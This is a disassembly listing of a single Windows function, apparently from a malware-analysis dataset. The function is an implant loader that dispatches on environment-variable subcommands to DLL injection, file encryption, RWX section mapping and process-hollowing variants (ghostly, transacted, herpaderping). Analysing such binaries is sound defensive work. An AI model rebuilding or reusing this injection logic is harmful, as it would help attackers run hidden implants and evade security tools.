Function at 0x1400040a0
Capabilities:
Allocate or change rwx memory
Create process on windows
Map section object
Query environment variable

Disassembly:
push rbp
push rbx
push rdi
lea rbp, [rsp - 0x260]
sub rsp, 0x360
mov rax, qword [0x14000c008]
xor rax, rsp
mov qword [rbp + 0x250], rax
xorps xmm0, xmm0
mov dword [rbp - 0x30], 0x68
xor edi, edi
lea rax, [rbp - 0x70]
mov qword [rsp + 0x48], rax
lea rdx, str.C:Program_FilesGitgit_bash.exe
lea rax, [rbp - 0x30]
xor r9d, r9d
mov qword [rsp + 0x40], rax
xor r8d, r8d
mov qword [rsp + 0x38], rdi
xor ecx, ecx
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], edi
movups xmmword [rbp - 0x28], xmm0
movups xmmword [rbp - 0x18], xmm0
movups xmmword [rbp - 8], xmm0
movups xmmword [rbp + 8], xmm0
movups xmmword [rbp + 0x18], xmm0
movups xmmword [rbp + 0x28], xmm0
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x140004163
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, [0x140008e38]
mov ebx, eax
call fcn.140002950
mov rcx, rax
mov edx, ebx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
mov rcx, rax
lea rdx, [0x140002b20]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea eax, [rdi + 1]
jmp 0x1400046e8
mov rcx, qword [rbp - 0x70]
mov qword [rsp + 0x380], rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x68]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 0x20
lea rcx, str.hagrid
mov word [rbp - 0x58], ax
mov esi, edi
call qword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll_getenv]
test rax, rax
je 0x1400046de
lea rdx, [rbp - 0x58]
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strtok]
mov rbx, rax
test rax, rax
je 0x1400046de
mov qword [rsp + 0x388], r14
lea r14, [rsp + 0x50]
mov qword [rsp + 0x390], r15
mov r15, 0xffffffffffffffff
nop word [rax + rax]
mov rcx, r15
inc rcx
cmp byte [rbx + rcx], dil
jne 0x1400041e3
add rcx, 1
cmovb rcx, r15
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov qword [r14], rax
nop dword [rax]
movzx ecx, byte [rbx]
lea rbx, [rbx + 1]
mov byte [rax], cl
lea rax, [rax + 1]
test cl, cl
jne 0x140004200
lea rdx, [rbp - 0x58]
xor ecx, ecx
inc esi
add r14, 8
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strtok]
mov rbx, rax
test rax, rax
jne 0x1400041e0
mov r14, qword [rsp + 0x388]
cmp esi, 2
jl 0x1400046d6
mov rcx, qword [rsp + 0x50]
lea r9, str.cdll
mov rax, rdi
nop dword [rax + rax]
movzx edx, byte [rcx + rax]
inc rax
cmp dl, byte [r9 + rax - 1]
jne 0x140004269
cmp rax, 5
jne 0x140004250
cmp dl, byte [r9 + rax - 1]
sete bl
lea r8, str.mdll
mov rdx, rdi
nop word [rax + rax]
movzx eax, byte [rcx + rdx]
inc rdx
cmp al, byte [r8 + rdx - 1]
jne 0x140004296
cmp rdx, 5
jne 0x140004280
jmp 0x1400042b4
mov rdx, rdi
nop dword [rax]
movzx eax, byte [rcx + rdx]
inc rdx
cmp al, byte [r9 + rdx - 1]
jne 0x14000430a
cmp rdx, 5
jne 0x1400042a0
xor edx, edx
lea rcx, [rbp + 0x40]
mov r8d, 0x208
call sub.VCRUNTIME140.dll_memset
cmp esi, 3
jge 0x1400042df
mov rcx, qword [rsp + 0x58]
xor r8d, r8d
movzx edx, bl
call fcn.140003a40
jmp 0x1400046d6
mov rcx, qword [rsp + 0x60]
lea rdx, [rbp + 0x40]
mov r8d, 0x208
call qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
mov rcx, qword [rsp + 0x58]
lea r8, [rbp + 0x40]
movzx edx, bl
call fcn.140003a40
jmp 0x1400046d6
mov rdx, rdi
lea r8, [0x140009264]
nop dword [rax]
nop dword [rax + rax]
movzx eax, byte [rcx + rdx]
inc rdx
cmp al, byte [r8 + rdx - 1]
jne 0x140004373
cmp rdx, 4
jne 0x140004320
lea rcx, str.Encrypting_File_n
call fcn.140001d40
cmp esi, 2
jne 0x140004356
mov rcx, qword [rsp + 0x58]
xor edx, edx
call fcn.140004b20
jmp 0x1400046d6
cmp esi, 3
jne 0x1400046d6
mov rdx, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call fcn.140004b20
jmp 0x1400046d6
mov rdx, rdi
lea r8, [0x14000927c]
nop dword [rax]
movzx eax, byte [rcx + rdx]
inc rdx
cmp al, byte [r8 + rdx - 1]
jne 0x1400044e7
cmp rdx, 4
jne 0x140004380
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.Mapped_Section_n
call fcn.140002950
mov rcx, qword [rsp + 0x58]
lea rax, [rbp - 0x80]
lea r9, [rsp + 0x78]
mov qword [rsp + 0x20], rax
lea r8, [rsp + 0x68]
lea rdx, [rsp + 0x70]
call fcn.140003180
test eax, eax
je 0x1400046d6
mov rax, qword [rbp - 0x80]
lea r9, [rbp - 0x40]
mov qword [rbp - 0x38], rax
lea rcx, [rbp - 0x78]
mov dword [rbp - 0x40], eax
xor r8d, r8d
xor eax, eax
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0x8000000
mov qword [rbp - 0x78], rdi
mov dword [rbp - 0x3c], eax
lea edx, [rax + 0xe]
mov dword [rsp + 0x20], 0x40
call qword [sym.imp.ntdll.dll_NtCreateSection]
mov rcx, qword [rbp - 0x78]
lea rax, [rbp - 0x38]
mov dword [rsp + 0x48], 0x40
lea r8, [rbp - 0x50]
mov dword [rsp + 0x40], edi
xor r9d, r9d
mov dword [rsp + 0x38], 2
mov rdx, r15
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rdi
mov qword [rbp - 0x50], rdi
call qword [sym.imp.ntdll.dll_NtMapViewOfSection]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.Created_RWX_mapped_section_n
call fcn.140002950
mov rdx, qword [rbp - 0x80]
lea r9, [rbp - 0x48]
mov rcx, qword [rbp - 0x50]
mov r8d, 4
mov dword [rbp - 0x48], edi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.___Set_page_to_RW_n
call fcn.140002950
mov rbx, qword [rsp + 0x68]
xor r9d, r9d
mov r8, qword [rbp - 0x50]
mov rcx, rbx
mov rdx, qword [rbp - 0x80]
call fcn.140005550
test al, al
je 0x14000459d
mov r8, qword [rbp - 0x80]
mov rdx, rbx
mov rcx, qword [rbp - 0x50]
call fcn.140003370
test al, al
je 0x1400046d6
xor edx, edx
mov rcx, rbx
call fcn.140005ef8
mov rdx, qword [rsp + 0x70]
mov rcx, qword [rbp - 0x50]
call fcn.1400035d0
jmp 0x1400046d6
mov rdx, rdi
lea r8, str.priv
movzx eax, byte [rcx + rdx]
inc rdx
cmp al, byte [r8 + rdx - 1]
jne 0x1400045fd
cmp rdx, 5
jne 0x1400044f1
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.Private_Page_n
call fcn.140002950
mov rcx, qword [rsp + 0x58]
lea rax, [rbp - 0x50]
lea r9, [rsp + 0x78]
mov qword [rsp + 0x20], rax
lea r8, [rsp + 0x70]
lea rdx, [rsp + 0x68]
call fcn.140003180
test eax, eax
je 0x1400046d6
mov dword [rsp + 0x28], 4
lea r9, [rbp - 0x50]
xor r8d, r8d
mov dword [rsp + 0x20], 0x3000
lea rdx, [rbp - 0x80]
mov qword [rbp - 0x80], rdi
mov rcx, r15
call qword [sym.imp.ntdll.dll_NtAllocateVirtualMemory]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.___Allocated_a_RW_memory_region_n
call fcn.140002950
mov rbx, qword [rsp + 0x70]
xor r9d, r9d
mov r8, qword [rbp - 0x80]
mov rcx, rbx
mov rdx, qword [rbp - 0x50]
call fcn.140005550
test al, al
jne 0x1400045b5
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.____Failed_to_relocate_the_implant__n
call fcn.140002950
jmp 0x1400046d6
mov r8, qword [rbp - 0x50]
mov rdx, rbx
mov rcx, qword [rbp - 0x80]
call fcn.140003370
test al, al
je 0x1400046d6
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.___Set_page_to_RX_n
call fcn.140002950
xor edx, edx
mov rcx, rbx
call fcn.140005ef8
mov rdx, qword [rsp + 0x68]
mov rcx, qword [rbp - 0x80]
call fcn.1400035d0
jmp 0x1400046d6
mov rdx, rdi
lea r8, str.ghost
nop word [rax + rax]
movzx eax, byte [rcx + rdx]
inc rdx
cmp al, byte [r8 + rdx - 1]
jne 0x140004655
cmp rdx, 6
jne 0x140004610
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.Ghostly_Hollowing_n
call fcn.140002950
xor edx, edx
mov dword [0x14000c850], edi
mov rcx, qword [rsp + 0x58]
cmp esi, 3
jge 0x1400046cc
xor r8d, r8d
jmp 0x1400046d1
lea rdx, [0x1400092c4]
nop dword [rax]
movzx eax, byte [rcx + rdi]
inc rdi
cmp al, byte [rdx + rdi - 1]
jne 0x140004695
cmp rdi, 4
jne 0x140004660
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.Transacted_Hollowing_n
call fcn.140002950
lea edx, [rdi - 3]
mov dword [0x14000c850], 1
jmp 0x14000463f
lea rdx, str.herpaderp
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
test eax, eax
jne 0x1400046d6
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.Herpaderply_Hollowing_n
call fcn.140002950
mov edx, 2
mov dword [0x14000c850], 2
jmp 0x14000463f
mov r8, qword [rsp + 0x60]
call fcn.140003e00
mov r15, qword [rsp + 0x390]
mov rsi, qword [rsp + 0x380]
xor eax, eax
mov rcx, qword [rbp + 0x250]
xor rcx, rsp
call fcn.140006410
add rsp, 0x360
pop rdi
pop rbx
pop rbp
ret